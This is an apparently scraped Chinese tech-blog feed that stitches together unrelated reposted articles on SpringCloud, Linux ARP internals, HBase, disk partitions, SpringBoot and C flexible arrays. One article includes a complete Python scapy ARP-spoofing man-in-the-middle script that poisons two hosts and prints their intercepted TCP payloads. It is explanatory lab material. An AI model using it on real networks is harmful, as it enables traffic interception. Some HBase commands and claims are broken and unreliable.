在运用SpringCloud构建分布式系统的过程中,理解并妥善处理分布式锁的死锁问题以及由此引发的状态不一致问题是至关重要的。经过对这些策略的认真学习和动手实践,我们就能更溜地掌握分布式锁,确保不同服务之间能够既麻利又安全地协同工作,就像一个默契十足的团队一样。虽然技术难题时不时会让人头疼得抓狂,但正是这些挑战,让我们在攻克它们的过程中,技术水平像打怪升级一样蹭蹭提升。同时,对分布式系统的搭建和运维也有了越来越深入、接地气的理解,就像亲手种下一棵树,慢慢了解它的根茎叶脉一样。让我们共同面对挑战,让SpringCloud发挥出它应有的强大效能!
2023-03-19 23:46:57
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青春印记
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...52。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。 其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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...16。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1、下载第三方扩展库 filterbuilder.jar htmllexer.jar htmlparser.jar jsoup-1.9.2.jar junit.jar sax2.jar thumbelina.jar 2、执行以下方法 package com.zgs.look;import java.io.BufferedReader;import java.io.File;import java.io.FileInputStream;import java.io.InputStreamReader;import java.util.HashMap;import java.util.Map;import java.util.regex.Matcher;import java.util.regex.Pattern;import org.htmlparser.Node;import org.htmlparser.NodeFilter;import org.htmlparser.Parser;import org.htmlparser.filters.NodeClassFilter;import org.htmlparser.filters.OrFilter;import org.htmlparser.tags.LinkTag;import org.htmlparser.tags.TableTag;import org.htmlparser.util.NodeList;import org.jsoup.Jsoup;import org.jsoup.nodes.Document;import org.jsoup.nodes.Element;import org.jsoup.select.Elements;public class HtmlLook {private static String ENCODE = "UTF-8";public static void main(String[] args) {String szContent = openFile( "d:/index.html");try {Document doc = Jsoup.parse(szContent);Elements elList=doc.getElementsByAttributeValue("id","vulDataTable");szContent=elList.outerHtml();Parser parser = Parser.createParser(szContent, ENCODE);NodeFilter[] filters = new NodeFilter[2];filters[0] = new NodeClassFilter(TableTag.class); filters[1] = new NodeClassFilter(LinkTag.class);NodeFilter filter =new OrFilter (filters);NodeList list = parser.extractAllNodesThatMatch(filter);String ldName="";String ldJianjie="";for (int i = 0; i < list.size(); i++) { Node node = list.elementAt(i); if(node instanceof LinkTag){String nodeHtml=node.toHtml();if(nodeHtml.contains("onclick")&&nodeHtml.contains("vul-")){if(!"".equals(ldName)&&!"".equals(ldJianjie)){//提交数据System.out.println("---commit---漏洞名称-------"+ldName);System.out.println("---commit---漏洞简介-------"+ldJianjie);ldName="";ldJianjie="";}String level="";if(nodeHtml.contains("vul-vh")){level="高危漏洞";}else if(nodeHtml.contains("vul-vm")){level="中危漏洞";}else if(nodeHtml.contains("vul-vl")){level="低危漏洞";}ldName=getLinkTagContent(nodeHtml)+"-----"+level+"------";// System.out.println("---漏洞名称-----"+getLinkTagContent(nodeHtml)+"-----"+level+"------");} }else{ldJianjie=getTableTagContent(node.toHtml());} } } catch (Exception e) {e.printStackTrace();} }/ 提取文件里面的文本信息 @param szFileName @return/public static String openFile(String szFileName) {try {BufferedReader bis = new BufferedReader(new InputStreamReader(new FileInputStream(new File(szFileName)), ENCODE));String szContent = "";String szTemp;while ((szTemp = bis.readLine()) != null) {szContent += szTemp + "\n";}bis.close();return szContent;} catch (Exception e) {return "";} }/ 提取标签<a>a</a>内的内容 return a;/public static String getLinkTagContent(String link){String content="";Pattern pattern = Pattern.compile("<a[^>]>(.?)</a>");Matcher matcher = pattern.matcher(link);if(matcher.find()){content=matcher.group(1);}return content;}/ 解析Table标签内的东西 @param table/public static String getTableTagContent(String table){Map<String,String> conMap=new HashMap<String,String>();String content="";Document doc = Jsoup.parse(table);Elements elList=doc.getElementsByAttributeValue("class","cmn_table plumb");Element el=elList.first();Elements trLists = el.select("tr");for (int i = 0; i < trLists.size(); i++) {Elements tds = trLists.get(i).select("td");String key="";String val="";for (int j = 0; j < tds.size(); j++) {String text = tds.get(j).text();if(j==0){key=text; }else{val=text; } }conMap.put(key, val);content+="|"+key+"-"+val;// System.out.println(key+"-"+val);}return content;} } 本篇文章为转载内容。原文链接:https://blog.csdn.net/zhaoguoshuai91/article/details/51802116。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-19 10:42:16
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HBase
...支持快速的数据插入和查询操作,这对于实时数据分析和流式处理应用非常有用。 4. HBase有一个非常强大的社区支持,这意味着我们可以获得大量的学习资源和技术支持。 三、使用HBase Shell进行数据查询 接下来,我们将详细介绍如何使用HBase Shell进行数据查询。首先,我们需要打开HBase Shell,然后就可以开始使用各种命令了。 以下是一些基本的HBase Shell命令: 1. 列出所有表 list tables 2. 插入一行数据 sql put 'mytable', 'rowkey', 'columnfamily:qualifier', 'value' 3. 查询一行数据 sql get 'mytable', 'rowkey' 4. 删除一行数据 sql delete 'mytable', 'rowkey' 5. 批量删除多行数据 sql delete 'mytable', [ 'rowkey1', 'rowkey2' ] 四、深入理解HBase查询 然而,这只是HBase查询的基础知识。实际上,HBase查询的功能远比这强大得多。例如,我们可以使用通配符来模糊匹配行键,可以使用范围过滤器来筛选特定范围内的值,还可以使用复杂的组合过滤器来进行高级查询。 以下是一些更复杂的HBase查询示例: 1. 使用通配符模糊匹配行键 sql scan 'mytable', {filter: "RowFilter( PrefixFilter('rowprefix'))"} 2. 使用范围过滤器筛选特定范围内的值 sql scan 'mytable', {filter: "SingleColumnValueFilter(columnFamily, qualifier, CompareFilter.CompareOp.GREATER_OR_EQUAL, value), SingleColumnValueFilter(columnFamily, qualifier, CompareFilter.CompareOp.LESS_OR_EQUAL, value) } 3. 使用组合过滤器进行高级查询 sql scan 'mytable', { filter: [ new org.apache.hadoop.hbase.filter.BinaryComparator('value1'), new org.apache.hadoop.hbase.filter.ColumnCountGetFilter(2) ] } 五、结论 总的来说,HBase是一种功能强大的分布式数据库系统,非常适合用于大数据分析和流式处理应用。通过使用HBase Shell,我们可以方便地进行数据查询和管理。虽然HBase这玩意儿初学时可能会让你觉得有点像爬陡坡,不过只要你把那些基础概念和技术稳稳拿下,就完全能够游刃有余地处理各种眼花缭乱的复杂问题啦。 我相信,在未来的发展中,HBase会变得越来越重要,成为大数据领域的主流工具之一。嘿,老铁!如果你还没尝过HBase这个“甜头”,我真心拍胸脯推荐你,不妨抽点时间深入学习并动手实践一把。这绝对值得你投入精力去探索!你会发现,HBase能为你带来前所未有的体验和收获。
2023-01-31 08:42:41
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青春印记-t
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...74。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 对hda1的解释: hd:IDE硬盘。如果是SCSI硬盘,则为sd,这个只能记住,没有更好的办法。 a:: 第一块硬盘。如果是第二块硬盘,则为b,依此类推c,d…… 1: 主分区。其中1,2,3,4都是主分区,从第5开始为逻辑分区,最大到16 磁盘容量与主分区、扩展分区、逻辑分区的关系: 硬盘的容量 = 主分区的容量 + 扩展分区的容量 扩展分区的容量 = 各个逻辑分区的容量之和 -------------------------------------- cd /mnt mkdir winc mkdir wind mkdir wine mount /dev/hda1 /mnt/winc mount /dev/hda5 /mnt/wind mount /dev/hda6 /mnt/wine 最多有4个主分区,所以逻辑分区从5开始 ---------------------------------------- 在linux的分区表示中,硬盘为hd,第一块硬盘为hda,第二块为hdb.一块硬盘最多可以分成四个主分区,dos主分区,dos扩展分区,linux根分区和linux交换分区都属于主分区,4个主分区分别用数字表示,如果是第一块硬盘,就 hda1,hda2,hda3和hda4. 在扩展分区上还可以分逻辑分区,标号从5往后依次排列.在windows中c盘为dos主分区,是hda1, d盘一般是dos扩展分区上的第一个逻辑分区, 是hda5, e为hda6, f为hda7等等. 在linux下可以通过mount命令挂栽windows分区到一个文件夹(这个文件夹称作挂载点),然后你可以通过这个文件夹访问windows分区. mount -t vfat /dev/hda1 /mnt/winc -o codepage=936 iocharset=936 顺便说一下挂载光盘和iso镜像和挂载U盘挂载U盘的命令: 挂载光盘和iso镜像 mount -t iso 9660 -o loop 名称.iso 挂载点 挂载U盘 mount -t vfat /dev/sda1 /mnt/usb 在網上碰到一耳光相關的問題,睇下啦: 在Linux中,分区为主分区、扩展分区和逻辑分区,使用fdisk –l命令获得分区信息如下所示: Disk /dev/hda:240 heads, 63 sectors, 140 cylinders Units=cylinders of 15120 512 bites Device Boot Start End Blocks Id System /dev/hda 1 286 2162128+ c Win95 FAT32(LBA) /dev/hda2 288 1960 12496680 5 Extended /dev/hda8 984 1816 6297448+ 83 Linux /dev/hda9 1817 1940 937408+ 83 Linux 其中,属于扩展分区的是 (5) 。 使用df -T命令获得信息部分如下所示: Filesystem Type 1k Blocks Used Avallable Use% Mounted on /dev/hda6 relserfs 4195632 2015020 2180612 49% / /dev/hda1 vfat 2159992 1854192 305800 86% /windows/c 其中,不属于Linux系统分区的是 (6) 。 答案: (5)/dev/hda2,(6)/dev/hda1 在Linux中对硬盘也有两种表示方法: 第一种方法:IDE接口中的整块硬盘在Linux系统中表示为/dev/hd[a-z],比如/dev/hda,/dev/hdb ... ... 以此类推,有时/dev/hdc可能表示的是CDROM 。这种方法实际表示了硬盘的物理位置,只要硬盘的连接位置不变,标号也不会发生变化。 对于/dev/hda 类似的表示方法,也并不陌生吧;我们在Linux通过fdisk -l 就可以查到硬盘是/dev/hda还是/dev/hdb。 另一种表示方法是:hd[0-n] ,其中n是一个正整数,比如hd0,hd1,hd2 ... ... hdn ;数字从0开始,按照BIOS中发现硬盘的顺序排列,如果机器中只有一块硬盘,无论我们通过fdisk -l 列出的是/dev/hda 还是/dev/hdb ,都是hd0;如果机器中存在两个或两个以上的硬盘,第一个硬盘/dev/hda 另一种方法表示为hd0,第二个硬盘/dev/hdb,另一种表法是hd1 。 现在新的机器,在BIOS 中,在启动盘设置那块,硬盘是有hd0,hd1之类的,这就是硬盘表示方法的一种。 在Linux中,对SATA和SCSI接口的硬盘的表示方法和IDE接口的硬盘相同,只是把hd换成sd;如您的机器中比如有一个硬盘是/dev/hda ,也有一个硬盘是/dev/sda ,那/dev/sda的硬盘应该是sd0; 具体每个分区用(sd[0-n],y)的表示方法和IDE接口中的算法相同,比如/dev/sda1 就是(sd0,0)。 >>>以下来自百度百科 磁盘及分区 设备管理 在 Linux 中,每一个硬件设备都映射到一个系统的文件,对于硬盘、光驱等 IDE 或 SCSI 设备也不例外。 Linux 把各种 IDE 设备分配了一个由 hd 前缀组成的文件;而对于各种 SCSI 设备,则分配了一个由 sd 前缀组成的文件。 例如,第一个 IDE 设备,Linux 就定义为 hda;第二个 IDE 设备就定义为 hdb;下面以此类推。而 SCSI 设备就应该是 sda、sdb、sdc 等。 分区数量 要进行分区就必须针对每一个硬件设备进行操作,这就有可能是一块IDE硬盘或是一块SCSI硬盘。对于每一个硬盘(IDE 或 SCSI)设备,Linux 分配了一个 1 到 16 的序列号码,这就代表了这块硬盘上面的分区号码。 例如,第一个 IDE 硬盘的第一个分区,在 Linux 下面映射的就是 hda1,第二个分区就称作是 hda2。对于 SCSI 硬盘则是 sda1、sdb1 等。 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39713578/article/details/111950574。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-26 12:47:34
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Kubernetes
...Kubernetes用户提供了更智能的管理工具和服务,如AutoML,帮助用户更高效地构建和部署机器学习模型。此外,AWS的Amazon Elastic Container Service (ECS)也通过集成AI功能,增强了其在自动化部署和运维方面的能力。 随着AI技术的不断进步和成熟,Kubernetes与AI的结合将带来更多的可能性。未来,我们或许可以看到更加智能、自动化的云平台,能够自主地进行资源管理、故障检测、服务优化等,为用户提供更加高效、稳定的云计算体验。 结语 Kubernetes与AI的融合是云计算领域的一大创新,它不仅提高了云平台的智能化水平,也为开发者提供了更多创新的空间。随着技术的持续发展,这一领域的潜力还有待进一步挖掘,未来值得期待。
2024-09-05 16:21:55
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昨夜星辰昨夜风
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...87。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 介绍一下通过在线免费制图网站 Freedgo Design绘制各类图形的方法。 什么是 Freedgo Design? Freedgo Design 是一in款在线绘制专业图形的网站。Freedgo Design可以绘制各种类型的图形,针对业务逻辑的流程图,软件设计ER模板,工作流,各种云平台的系统部署架构图包括阿里云、AWS云、腾讯云、Oracle、Asure云、IBM云平台等。 使用 用户通过浏览器访问网址:https://www.freedgo.com 点击在线制图,进入图形设计工具页面即可在线制图. 选择制图不同类型的图形,请点击页面下面 + 更多图形,选择相应的制图类型。如下图: 可以绘制哪些图表UML UML统一建模语言(英语:Unified Modeling Language,缩写 UML),是一种开放的方法,用于说明、可视化、构建和编写一个正在开发的、面向对象的、软件密集系统的制品的开放方法。UML展现了一系列最佳工程实践,这些最佳实践在对大规模,复杂系统进行建模方面,特别是在软件架构层次已经被验证有效。 在UML系统开发中有三个主要的模型: 功能模型:从用户的角度展示系统的功能,包括用例图。 对象模型:采用对象,属性,操作,关联等概念展示系统的结构和基础,包括类别图、对象图。 动态模型:展现系统的内部行为。包括序列图,活动图,状态图。 通过Freedgo Desgin 可以绘制各类UML图表,包括 UML 用例图 UML 类图 UML 时序图 UML 活动图 UML 泳道图 点击页面下面 + 更多图形,选择 商务/(业务建模) -> UML, 可以设计各类UML图表, 参见下图: 数据库ER模型 ER模型是在数据库设计中常用的数据建模工具,通常是用来描述实体的信息及实体与实体之前的关系。 在Freedgo Design提供了对ER模型的支持: 通过图标库 选择ER模型绘制数据库ER模型 通过菜单 调整图形 -> 插入 -> SQL... 导入sql DDL脚本创建数据库ER模型 BPMN模型设计 BPMN是业务流程建模与标记,是用于构建业务流程图的一种建模语言标准。 可以通过图标库 选择BPMN绘制BPMN模型 Archimate设计 Archimate是一种整合多种架构的一种可视化业务分析模型语言,属于架构描述语言(ADL),它从业务、应用和技术三个层次(Layer),物件、行为和主体三个方面(Aspect)和产品、组织、流程、资讯、资料、应用、技术领域(Domain)来进行描述。 可以通过图标库 选择BPMN绘制BPMN模型 EPC设计 EPC是用于说明业务流程工作流,是进行业务工程设计的 SAP R/3 建模概念的重要组件。 可以通过图标库 选择EPC绘制EPC模型 流程图 流程图是流经一个系统的信息流、观点流或部件流的图形代表。在企业中,流程图主要用来说明某一过程。这种过程既可以是生产线上的工艺流程,也可以是完成一项任务必需的管理过程。 流程图是揭示和掌握封闭系统运动状况的有效方式。作为诊断工具,它能够辅助决策制定,让管理者清楚地知道,问题可能出在什么地方,从而确定出可供选择的行动方案。 流程图有时也称作输入-输出图。该图直观地描述一个工作过程的具体步骤。流程图对准确了解事情是如何进行的,以及决定应如何改进过程极有帮助。这一方法可以用于整个企业,以便直观地跟踪和图解企业的运作方式。 流程图使用一些标准符号代表某些类型的动作,如决策用菱形框表示,具体活动用方框表示。但比这些符号规定更重要的,是必须清楚地描述工作过程的顺序。流程图也可用于设计改进工作过程,具体做法是先画出事情应该怎么做,再将其与实际情况进行比较。 可以通过图标库 选择流程图绘制 UX设计 Freedgo Design提供一系列UX设计的制作,可以实现IOS,安卓,以及一系列页面设计的效果制图,下面简单说明:IOS android material Bootstrap 手机应用 网站应用 平面图 Freedgo Design可以绘制平面图包括建筑平面表,房屋平面表,房屋效果图设计,在图例中提供了家庭、办公、厨房、卫生间等等图例,具体可以登录在线制图网站,查看 图例 网络架构图 Freedgo Design 可以绘制各种网络拓扑图,和机架图。 云架构 Freedgo Design 提供了各类云架构的系统架构图、系统部署图,包括AWS架构,阿里云架构、腾讯云架构、IBM、ORACLE、Azure和Google云等等。AWS 阿里云架构 腾讯云架构 IBM架构 ORACLE架构 Azure架构 GOOGLE架构 工程 Freedgo Design 提供在线基本电气图设计、在线电气逻辑图设计、在线电路原理图设计、在线接线图设计 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_39605997/article/details/109976987。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-03 21:03:06
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Tomcat
...容不仅对使用AWS的用户大有裨益,也为其他云平台用户提供了参考思路。 另外,随着微服务架构的普及,传统的JMX监控方式面临诸多限制。为此,Netflix开源了其内部使用的Micrometer库,该库支持多种监控后端,包括Prometheus、Graphite等,大大简化了微服务环境下的监控配置工作。近期,Micrometer团队发布了一系列更新,增加了对更多监控后端的支持,并优化了性能。这一进展对于正在探索微服务监控方案的企业来说,具有重要的参考价值。 以上内容不仅展示了JMX监控领域的最新发展动态,也为读者提供了丰富的实战经验和理论指导。希望这些延伸阅读材料能够帮助大家更好地理解和应用JMX监控技术。
2025-02-15 16:21:00
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月下独酌
SpringBoot
...变成了0。这不仅影响用户体验,也对代码调试提出了挑战。接下来,咱们一块儿踏上解谜之旅吧!从头开始,一点点弄懂这个神秘的“0”,就像拆开礼物上的层层包装,最终揭示它的奇妙真相。 二、场景再现 假设我们正在开发一个简单的用户注册系统,前端Vue.js负责收集用户信息,然后通过axios发送给SpringBoot后端进行验证和存储。你知道吗,有时候我们在Vue的那些小元件里边,填好账号名和密码,一激动点发送按钮,结果呢,后头的服务器接收的数据里,邮箱那一栏就莫名其妙地变成了0,就像被人动了手脚似的。 javascript // Vue.js 部分 - 送出数据的部分 methods: { registerUser() { const formData = { username: this.username, password: this.password, email: this.email, // 这里原本应该是用户的邮箱地址 }; axios.post('/api/register', formData) .then(response => { console.log(response.data); }) .catch(error => { console.error(error); }); } } 三、问题分析 1. 类型转换 首先,检查一下是不是类型转换的问题。SpringBoot在接收数据时,如果类型不匹配,可能会尝试将其转换为可接受的数据类型。比如说,假如你邮箱地址栏不小心输入了个纯数字“0”,当你想把它当成字符串来处理的时候,这家伙可能会调皮地变成一个空荡荡的啥都没有。 java // SpringBoot 部分 - 接收数据的Controller @PostMapping("/register") public ResponseEntity registerUser(@RequestBody Map formData) { String email = formData.get("email").toString(); // 如果email是数字0,这里会变成"" // ... } 2. 默认值 另一个可能的原因是,前端在发送数据前没有正确处理可能的空值或默认值。你知道吗,有时候在发邮件前,email这哥们儿可能还没人填,这时它就暂且是JavaScript里的那个神秘存在“undefined”。一到要变成JSON格式,它就自动变身为“null”,然后后端大哥看见了,贴心地给它换个零蛋。 3. 数据验证 SpringBoot的@RequestBody注解默认会对JSON数据进行有效性校验,如果数据不符合约定的格式,它可能被视作无效,从而转化为默认值。检查Model层是否定义了默认值规则。 java // Model层 public class User { private String email; // ...其他字段 @NotBlank(message = "Email cannot be blank") public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } } 四、解决策略 1. 前端校验 确保在发送数据之前对前端数据进行清理和验证,避免空值或非预期值被发送。 2. 明确数据类型 在Vue.js中,可以使用v-model.number或者v-bind:value配合计算属性,确保数据在发送前已转换为正确的类型。 3. 后端配置 SpringBoot可以配置Jackson或Gson等JSON库,设置@JsonInclude(JsonInclude.Include.NON_NULL)来忽略所有空值。 4. 异常处理 添加适当的异常处理,捕获可能的转换异常并提供有用的错误消息。 五、结论 解决这个问题的关键在于理解数据流的每个环节,从前端到后端,每一个可能的类型转换和验证步骤都需要仔细审查。你知道吗,有时候生活就像个惊喜包,比如说JavaScript那些隐藏的小秘密,但别急,咱们一步步找,那问题的源头准能被咱们揪出来!希望这篇文章能帮助你在遇到类似困境时,更好地定位和解决“0”问题,提升开发效率和用户体验。 --- 当然,实际的代码示例可能需要根据你的项目结构和配置进行调整,以上只是一个通用的指导框架。记住,遇到问题时,耐心地查阅文档,结合调试工具,往往能更快地找到答案。祝你在前端与后端的交互之旅中一帆风顺!
2024-04-13 10:41:58
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柳暗花明又一村_
SpringCloud
...某个服务时,可以通过查询注册中心获取目标服务的可用实例列表,从而实现服务间的解耦与灵活通信。 Eureka , Eureka是Netflix开源的一款基于Java的服务注册与发现组件,它是Spring Cloud框架中常用的一种注册中心实现。在微服务架构中,Eureka Server作为服务注册中心,负责接收并管理各个微服务实例的注册信息;而微服务应用通过集成Eureka客户端,在启动时将自己的服务信息注册到Eureka Server上,并周期性地发送心跳以维持服务的有效状态。当服务消费者需要调用服务提供者时,可以查询Eureka Server来找到对应服务的可用实例。 API契约 , 在微服务架构设计中,API契约是指定义服务间交互接口的标准规范,通常表现为一种文档或者代码形式的约定。它明确了服务对外提供的接口名称、参数、返回值等具体细节,确保服务的调用方只需关心接口定义,而不必了解服务内部的具体实现。遵循API契约原则有助于实现服务间的松耦合和高内聚,提高系统的可维护性和扩展性。例如,在实际开发中,我们可以使用OpenAPI或GraphQL等标准格式来定义和描述微服务接口的契约。
2023-11-23 11:39:17
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岁月如歌_
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...39。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 1 引言 定长数组包 在平时的开发中,缓冲区数据收发时,如果采用缓冲区定长包,假定大小是 1k,MAX_LENGTH 为 1024。结构体如下: // 定长缓冲区struct max_buffer{int len;char data[MAX_LENGTH];}; 数据结构的大小 >= sizeof(int) + sizeof(char) MAX_LENGTH为了防止数据溢出的情况,data 的长度一般会设置得足够大,但也正是因为这样,才会导致数组的冗余。 假如发送 512 字节的数据, 就会浪费 512 个字节的空间, 平时通信时,大多数是心跳包,大小远远小于 1024,除了浪费空间还消耗很多流量。 内存申请: if ((m_buffer = (struct max_buffer )malloc(sizeof(struct max_buffer))) != NULL){m_buffer->len = CUR_LENGTH;memcpy(m_buffer->data, "max_buffer test", CUR_LENGTH);printf("%d, %s\n", m_buffer->len, m_buffer->data);} 内存释放: free(m_buffer);m_buffer = NULL; 指针数据包 为了避免空间上的浪费,我们可以将上面的长度为 MAX_LENGTH 的定长数组换为指针, 每次使用时动态的开辟 CUR_LENGTH 大小的空间。数据包结构体定义: struct point_buffer{int len;char data;}; 数据结构大小 >= sizeof(int) + sizeof(char )但在内存分配时,需要两步进行: 需为结构体分配一块内存空间; 为结构体中的成员变量分配内存空间; 内存申请: if ((p_buffer = (struct point_buffer )malloc(sizeof(struct point_buffer))) != NULL){p_buffer->len = CUR_LENGTH;if ((p_buffer->data = (char )malloc(sizeof(char) CUR_LENGTH)) != NULL){memcpy(p_buffer->data, "point_buffer test", CUR_LENGTH);printf("%d, %s\n", p_buffer->len, p_buffer->data);} } 内存释放: free(p_buffer->data);free(p_buffer);p_buffer = NULL; 虽然这样能够节约内存,但是两次分配的内存是不连续的, 需要分别对其进行管理,导致的问题就是需要对结构体和数据分别申请和释放内存,这样对于程序员来说无疑是一个灾难,因为这样很容易导致遗忘释放内存造成内存泄露。 有没有更好的方法呢?那就是今天的主题柔性数组。 2 柔性数组 什么是柔性数组? 柔性数组成员(flexible array member)也叫伸缩性数组成员,这种代码结构产生于对动态结构体的需求。在日常的编程中,有时候需要在结构体中存放一个长度动态的字符串,鉴于这种代码结构所产生的重要作用,C99 甚至把它收入了标准中: As a special case, the last element of a structure with more than one named member may have an incomplete array type; this is called a flexible array member. 柔性数组是 C99 标准引入的特性,所以当你的编译器提示不支持的语法时,请检查你是否开启了 C99 选项或更高的版本支持。 C99 标准的定义如下: struct test {short len; // 